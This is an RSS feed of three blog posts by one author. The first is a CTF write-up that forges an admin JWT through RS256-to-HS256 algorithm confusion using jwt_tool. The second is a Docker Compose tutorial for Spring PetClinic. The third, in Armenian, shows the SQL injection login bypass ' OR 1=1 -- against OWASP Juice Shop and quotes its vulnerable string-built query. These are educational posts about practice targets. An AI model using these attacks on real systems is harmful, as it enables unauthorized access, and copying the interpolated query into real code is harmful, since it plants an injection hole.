<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Narek Babajanyan</title>
    <description>The latest articles on Forem by Narek Babajanyan (@narek_babajanyan).</description>
    <link>https://forem.com/narek_babajanyan</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F295897%2Fb160cb44-cc06-41fb-bb40-f8b0b34c0649.jpeg</url>
      <title>Forem: Narek Babajanyan</title>
      <link>https://forem.com/narek_babajanyan</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/narek_babajanyan"/>
    <language>en</language>
    <item>
      <title>SecurityBoat June CTF solution</title>
      <dc:creator>Narek Babajanyan</dc:creator>
      <pubDate>Sun, 09 Jul 2023 10:16:51 +0000</pubDate>
      <link>https://forem.com/narek_babajanyan/securityboat-june-ctf-solution-474k</link>
      <guid>https://forem.com/narek_babajanyan/securityboat-june-ctf-solution-474k</guid>
      <description>&lt;p&gt;SecurityBoat posted the following CTF &lt;a href="http://ctf.securityboat.in:4000/jwt/"&gt;challenge&lt;/a&gt; on their Twitter account.&lt;br&gt;
&lt;iframe class="tweet-embed" id="tweet-1677535489014759425-24" src="https://platform.twitter.com/embed/Tweet.html?id=1677535489014759425"&gt;
&lt;/iframe&gt;

  // Detect dark theme
  var iframe = document.getElementById('tweet-1677535489014759425-24');
  if (document.body.className.includes('dark-theme')) {
    iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1677535489014759425&amp;amp;theme=dark"
  }



&lt;br&gt;
The challenge was to get to the admin dashboard and retrieve the flag. Initial credentials were provided on the login screen.&lt;/p&gt;

&lt;p&gt;Upon logging in, we see two cookies being returned from the server: &lt;code&gt;auth&lt;/code&gt; and &lt;code&gt;pubkey&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--A073DhCX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/am4m9xf4nmtoilhxgaqi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--A073DhCX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/am4m9xf4nmtoilhxgaqi.png" alt="Server response headers" width="666" height="711"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;auth&lt;/code&gt; cookie is clearly a JWT token, so we can use a tool like &lt;a href="//jwt.io"&gt;jwt.io&lt;/a&gt; to inspect its contents.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--M7TZyfS3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4vaszcl0zpi6vvnphx2q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--M7TZyfS3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4vaszcl0zpi6vvnphx2q.png" alt="JWT contents" width="589" height="549"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notably, the token uses RS256 (asymmetric) encryption and specifies a &lt;code&gt;role&lt;/code&gt; field within its payload. &lt;/p&gt;

&lt;p&gt;Upon logging in, we are redirected to &lt;code&gt;http://ctf.securityboat.in:4000/jwt/user/home.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;With all that said, our likely attack methodology is the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Replace the &lt;code&gt;user&lt;/code&gt; value with &lt;code&gt;admin&lt;/code&gt; within the &lt;code&gt;role&lt;/code&gt; field of the token,&lt;/li&gt;
&lt;li&gt;Find a way to sign the token &lt;/li&gt;
&lt;li&gt;Using the token, navigate to &lt;code&gt;http://ctf.securityboat.in:4000/jwt/admin/home.php&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since we know the public key used in the RS256 encryption, we can attempt an &lt;strong&gt;algorithm confusion&lt;/strong&gt; attack. This type of attack takes advantage of inexact token handling on the backend, by replacing the &lt;code&gt;alg&lt;/code&gt; field in the token header with &lt;code&gt;HS256&lt;/code&gt; and using the exposed public key as an HMAC key. We can use jwt.io for modifying the necessary fields (&lt;code&gt;role&lt;/code&gt; and &lt;code&gt;alg&lt;/code&gt;) and sign the token with &lt;a href="https://github.com/ticarpi/jwt_tool"&gt;JWT_Tool&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;The command to do so looks like the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 jwt_tool.py INSERT_MODIFIED_TOKEN_HERE -S hs256 -k public_key.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;..where &lt;code&gt;public_key.pem&lt;/code&gt; is the file that contains the RSA public key returned from the server during initial login (make sure to URL-decode the key before saving).&lt;/p&gt;

&lt;p&gt;After JWT_Tool returns the tampered token, we can use Chrome to modify the cookies within the current session:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--k1ocJd9R--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wigmxfxoguc9i8jiiqe7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--k1ocJd9R--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wigmxfxoguc9i8jiiqe7.png" alt="Modifying cookies with Chrome" width="800" height="549"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After navigating to &lt;code&gt;http://ctf.securityboat.in:4000/jwt/admin/user.php&lt;/code&gt;, we get the flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--PU0jlnQL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hevxncma7frtzdag7xgt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--PU0jlnQL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hevxncma7frtzdag7xgt.png" alt="Victory!" width="745" height="274"&gt;&lt;/a&gt; &lt;/p&gt;

</description>
      <category>jwt</category>
      <category>security</category>
      <category>ctf</category>
    </item>
    <item>
      <title>Containerizing a Spring/Angular application with Docker Compose</title>
      <dc:creator>Narek Babajanyan</dc:creator>
      <pubDate>Tue, 07 Dec 2021 22:25:48 +0000</pubDate>
      <link>https://forem.com/narek_babajanyan/containerizing-a-springangular-application-with-docker-compose-1faj</link>
      <guid>https://forem.com/narek_babajanyan/containerizing-a-springangular-application-with-docker-compose-1faj</guid>
      <description>&lt;p&gt;After completing the exercises in &lt;a href="https://www.udemy.com/course/docker-kubernetes-the-practical-guide/" rel="noopener noreferrer"&gt;Academind's Docker &amp;amp; Kubernetes course&lt;/a&gt;, I wanted to try my hand at containerizing a Spring-powered web application. Here is the story of how that went down...&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding a sample project
&lt;/h3&gt;

&lt;p&gt;The &lt;a href="https://github.com/spring-projects/spring-petclinic" rel="noopener noreferrer"&gt;Spring PetClinic&lt;/a&gt; project is a well known sample in the Spring community, and there are multiple forks built with different technologies. Since I wanted to build a multi-container solution with Docker Compose, I needed to find one with easily separable backend and frontend pieces.&lt;/p&gt;

&lt;p&gt;Fortunately, the &lt;a href="https://spring-petclinic.github.io/docs/forks.html" rel="noopener noreferrer"&gt;forks list&lt;/a&gt; contained options that covered this case exactly.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/spring-petclinic/spring-petclinic-rest" rel="noopener noreferrer"&gt;Spring Boot-powered REST API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/spring-petclinic/spring-petclinic-angular" rel="noopener noreferrer"&gt;Angular frontend&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I noticed the frontend repository already contains its own Dockerfile - I'll only have to build one for the backend and include both in a Docker Compose &lt;code&gt;yaml&lt;/code&gt; file, along a separate container for the database.&lt;/p&gt;

&lt;h3&gt;
  
  
  Containerizing the Spring Boot backend
&lt;/h3&gt;

&lt;p&gt;My first step was to analyze the project and understand my options for data persistence - turns out it's quite flexible and includes a plethora of combinations - JDBC, JPA and Spring Data JPA as persistence layers, and H2, MySQL and PostgreSQL as underlying databases. Choosing an exact option is done through the &lt;code&gt;application.properties&lt;/code&gt; file and its sub-profiles. My choice was PostgreSQL with Spring data JPA.&lt;/p&gt;

&lt;p&gt;I wanted to use a best practice called &lt;a href="https://docs.docker.com/develop/develop-images/multistage-build/" rel="noopener noreferrer"&gt;multi-stage builds&lt;/a&gt;, which means that intermediary Docker images are used as build tools/environments, the final artifact is copied into the running container and everything else is discarded. In our case, the Maven base image fit perfectly as a build environment, from which the resulting &lt;code&gt;jar&lt;/code&gt; could be copied into the final image (build upon the OpenJDK base image) and started from there. &lt;/p&gt;

&lt;p&gt;The steps for our first stage are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use a Maven base image&lt;/li&gt;
&lt;li&gt;Copy application source code into the image&lt;/li&gt;
&lt;li&gt;Run the &lt;code&gt;mvn package&lt;/code&gt; command&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since the backend uses Spring Boot 2.4.2 as a parent project, and supports JDK 8, I specified the OpenJDK 8 base image. &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;

&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;maven:3.8.4-openjdk-8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;buildstage&lt;/span&gt;

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; . .&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;mvn package


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Running &lt;code&gt;mvn package&lt;/code&gt; generates a &lt;code&gt;jar&lt;/code&gt; archive in the &lt;code&gt;/target&lt;/code&gt; directory under the name &lt;code&gt;spring-petclinic-rest-2.4.2.jar&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;When performing a multi-stage build, Docker enables us to copy files from the previous stage and discard the rest - in this case, we only need the packaged &lt;code&gt;jar&lt;/code&gt; without the source code and dependencies.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;

&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;openjdk:8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;runstage&lt;/span&gt;

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; --from=buildstage /app/target/spring-petclinic-rest-2.4.2.jar .&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;To make our job easier down the line, we can find the port used by our backend and use the &lt;code&gt;EXPOSE&lt;/code&gt; command to include it in the Dockerfile. In our case the port is 9966.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;

&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="s"&gt; 9966&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;I have seen recommendations to create a separate non-privileged user to run applications. We can do so with the &lt;code&gt;adduser&lt;/code&gt; shell command.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;adduser &lt;span class="nt"&gt;--system&lt;/span&gt; &lt;span class="nt"&gt;--group&lt;/span&gt; spring

&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="s"&gt; spring&lt;/span&gt;

&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt;&lt;span class="s"&gt; ["java", "-jar", "spring-petclinic-rest-2.4.2.jar"]&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Putting all of these together, our final Dockerfile for the backend looks like the following: &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;

&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;maven:3.8.4-openjdk-8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;buildstage&lt;/span&gt;

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; . .&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;mvn package

&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;openjdk:8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;runstage&lt;/span&gt;

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; --from=buildstage /app/target/spring-petclinic-rest-2.4.2.jar .&lt;/span&gt;

&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="s"&gt; 9966&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;adduser &lt;span class="nt"&gt;--system&lt;/span&gt; &lt;span class="nt"&gt;--group&lt;/span&gt; spring

&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="s"&gt; spring&lt;/span&gt;

&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt;&lt;span class="s"&gt; ["java", "-jar", "spring-petclinic-rest-2.4.2.jar"]&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;There are additional modifications that need to be performed in our source code. Namely, the database host is hardcoded as &lt;code&gt;localhost&lt;/code&gt;. We need to change the host so it gets resolved to our container. For containers in the same network (and with Docker Compose, they are in the same network by default), containers can resolve each others' IP addresses through the service name specified in the &lt;code&gt;docker-compose.yaml&lt;/code&gt; file. I have chosen &lt;code&gt;psqldb&lt;/code&gt; as the name for the database service.&lt;/p&gt;

&lt;p&gt;Additionally, instead of hardcoded credentials, I have preferred to use environment variables, which can be easily supplied during image building. There's a caveat here, though - supplying these values directly can pose a security risk since they are permanently baked into your image history. We can use &lt;code&gt;.env&lt;/code&gt; files instead.&lt;/p&gt;

&lt;h3&gt;
  
  
  Containerizing the database
&lt;/h3&gt;

&lt;p&gt;I will not be creating a custom image for the database. It is sufficient to use the official PostgreSQL image and supply necessary environment variables for the default database and credentials. I will be specifying the default DB name ("petclinic", as retrieved from backend source code) and credentials (through an &lt;code&gt;.env&lt;/code&gt; file).&lt;/p&gt;

&lt;p&gt;Additionally, we need to enable Docker to persist database entries outside of the container filesystem. This can be done through a named volume. The default directory where PostgreSQL saves its data is &lt;code&gt;/var/lib/postgresql/data&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;This information must be codified in our &lt;code&gt;docker-compose.yaml&lt;/code&gt; file. The database service part will, then, look like the following&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;

&lt;span class="na"&gt;psqldb&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;postgres&lt;/span&gt;
  &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;POSTGRES_DB=petclinic&lt;/span&gt;
  &lt;span class="na"&gt;env_file&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./env/postgres.env&lt;/span&gt;
  &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;dbdata:/var/lib/postgresql/data&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Containerizing the frontend
&lt;/h3&gt;

&lt;p&gt;Since the authors of the Angular frontend already supplied a Dockerfile, I will use that instead of building my own.&lt;/p&gt;

&lt;p&gt;The image for the frontend also uses the multi-stage build principle - firstly a &lt;code&gt;node&lt;/code&gt; base image is used to build the project. The underlying &lt;code&gt;ng build&lt;/code&gt; command creates a directory called &lt;code&gt;dist&lt;/code&gt; which contains the compiled app. &lt;/p&gt;

&lt;p&gt;Secondly, an &lt;code&gt;nginx&lt;/code&gt; base image is used, and the &lt;code&gt;dist&lt;/code&gt; folder is copied into the default public directory - &lt;code&gt;/usr/share/nginx/html&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;
  
  
  Assembling the &lt;code&gt;docker-compose.yaml&lt;/code&gt; configuration
&lt;/h1&gt;

&lt;p&gt;As I previously mentioned, we have a named volume for the database, and it needs to be explicitly declared in the configuration. &lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;

&lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;dbdata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Next, we start listing the services. In our case, we have the following&lt;br&gt;
1) &lt;strong&gt;psqldb&lt;/strong&gt; &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;uses the &lt;code&gt;postgres&lt;/code&gt; base image&lt;/li&gt;
&lt;li&gt;has an environment variable &lt;code&gt;POSTGRES_DB&lt;/code&gt; with the value &lt;code&gt;petclinic&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;includes an &lt;code&gt;.env&lt;/code&gt; file from which it receives DB credentials&lt;/li&gt;
&lt;li&gt;mounts the &lt;code&gt;dbdata&lt;/code&gt; named volume on the default data directory for PostgreSQL&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;2) &lt;strong&gt;backend&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;needs to be built from our previously written Dockerfile&lt;/li&gt;
&lt;li&gt;also includes the aforementioned &lt;code&gt;.env&lt;/code&gt; file for credentials&lt;/li&gt;
&lt;li&gt;exposes port 9966&lt;/li&gt;
&lt;li&gt;depends on the &lt;code&gt;psqldb&lt;/code&gt; service being up&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;3) &lt;strong&gt;frontend&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;needs to be built from its Dockerfile&lt;/li&gt;
&lt;li&gt;exposes port 8080&lt;/li&gt;
&lt;li&gt;depends on the &lt;code&gt;backend&lt;/code&gt; service being up&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Translating all of these requirements into &lt;code&gt;yaml&lt;/code&gt;, we get the following:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;

&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3"&lt;/span&gt;

&lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;dbdata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;

&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;psqldb&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;postgres&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;POSTGRES_DB=petclinic&lt;/span&gt;              
    &lt;span class="na"&gt;env_file&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./env/postgres.env&lt;/span&gt;                  
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;dbdata:/var/lib/postgresql/data&lt;/span&gt;
  &lt;span class="na"&gt;backend&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;context&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./spring-petclinic-rest&lt;/span&gt;
    &lt;span class="na"&gt;env_file&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./env/postgres.env&lt;/span&gt;            
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;9966:9966"&lt;/span&gt;
    &lt;span class="na"&gt;depends_on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;psqldb&lt;/span&gt;
  &lt;span class="na"&gt;frontend&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; 
      &lt;span class="na"&gt;context&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./spring-petclinic-angular&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8080:8080"&lt;/span&gt;
    &lt;span class="na"&gt;depends_on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;backend&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;And that's it. Using the &lt;code&gt;docker-compose up&lt;/code&gt; command, we build and run our three services. Inspecting the running container for the frontend, we get its IP address and can access our PetClinic web application through port 8080.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9u1kw5mq2irb1lq6b9oo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9u1kw5mq2irb1lq6b9oo.png" alt="Spring PetClinic screenshot"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>docker</category>
      <category>spring</category>
      <category>devops</category>
    </item>
    <item>
      <title>Ծրագրային անվտանգություն՝ SQL Injection (մաս 2)</title>
      <dc:creator>Narek Babajanyan</dc:creator>
      <pubDate>Sun, 23 May 2021 19:31:00 +0000</pubDate>
      <link>https://forem.com/narek_babajanyan/sql-injection-2-46g9</link>
      <guid>https://forem.com/narek_babajanyan/sql-injection-2-46g9</guid>
      <description>&lt;p&gt;&lt;a href="https://dev.to/n_babajanyan/sql-injection-1-lc0"&gt;Նախորդ գրառման&lt;/a&gt; մեջ տեսանք SQL Injection խոցելիության ընդհանուր բնութագիրը։ Այժմ փորձենք OWASP Juice Shop խոցելի վեբ֊ծրագրում փնտրել տվյալ տեսակի խոցելիություններ։&lt;/p&gt;

&lt;p&gt;Ծրագիրը արխիվի տեսքով կարելի է ներբեռնել նախագծի &lt;a href="https://github.com/bkimminich/juice-shop/releases/" rel="noopener noreferrer"&gt;GitHub էջից&lt;/a&gt;, այնուհետև &lt;code&gt;npm start&lt;/code&gt; հրամանի միջոցով գործարկել այն (նախապես &lt;code&gt;npm install&lt;/code&gt; հրամանով տեղադրելով ծրագրի պահանջված գրադարանները)։ Գործարկվելիս, Juice Shop֊ը հասանելի է դառնում &lt;code&gt;localhost:3000&lt;/code&gt; հասցեով։ &lt;/p&gt;

&lt;h3&gt;
  
  
  1) Log in with the administrator's user account.
&lt;/h3&gt;

&lt;p&gt;Առաջին հերթին կարելի է ուշադրություն դարձնել Account հղմամբ գտնվող մուտք գործման (login) հատվածին և այստեղ փորձել SQL injection֊ի պարզագույն տարբերակ՝&lt;/p&gt;

&lt;p&gt;&lt;em&gt;email:&lt;/em&gt; &lt;code&gt;' OR 1=1 --&lt;/code&gt;&lt;br&gt;
&lt;em&gt;password:&lt;/em&gt; &lt;code&gt;test&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fon78n8aryhleq7cfa94a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fon78n8aryhleq7cfa94a.png" alt="Մուտք ադմինիստրատորի օգտահաշվով"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ստանում ենք հաջողված մուտք ադմինիստրատորի օգտահաշվով, այսինքն տվյալ ծրագրի login էջի &lt;em&gt;email&lt;/em&gt; դաշտը ենթակա է SQL injection հարձակման։ &lt;/p&gt;

&lt;p&gt;Փորձենք հասկանալ ինչու է առաջանում տվյալ խոցելիությունը։ Juice Shop ծրագրի Score board էջում ներկայացված են բոլոր խոցելիությունները, և ամփոված է Ձեր կողմից հայտնաբերված խոցելիությունների քանակը և տեսակները։ Որոշ խոցելիությունների պարագայում, ծրագիրն առաջարկում է կարդալ կոդի այն հատվածը, որտեղ այն առաջանում է, նման կերպ այն կանխել սովորեցնելու նպատակով։ &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5we76uk6f201gr1rml5l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5we76uk6f201gr1rml5l.png" alt="Score board էջ"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Մենք հենց նոր լուծեցինք &lt;strong&gt;"Log in with the administrator's user account"&lt;/strong&gt; խնդիրը։ Համապատասխան տողի վերջին կոճակը ցույց է տալիս խոցելի կոդի հատվածը, այստեղ տեսնում ենք ինչպես է ծրագրում կազմվում SQL հարցումը՝&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SELECT * FROM Users WHERE email = '${req.body.email || ''}' AND password = '${security.hash(req.body.password || '')}' AND deletedAt IS NULL&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

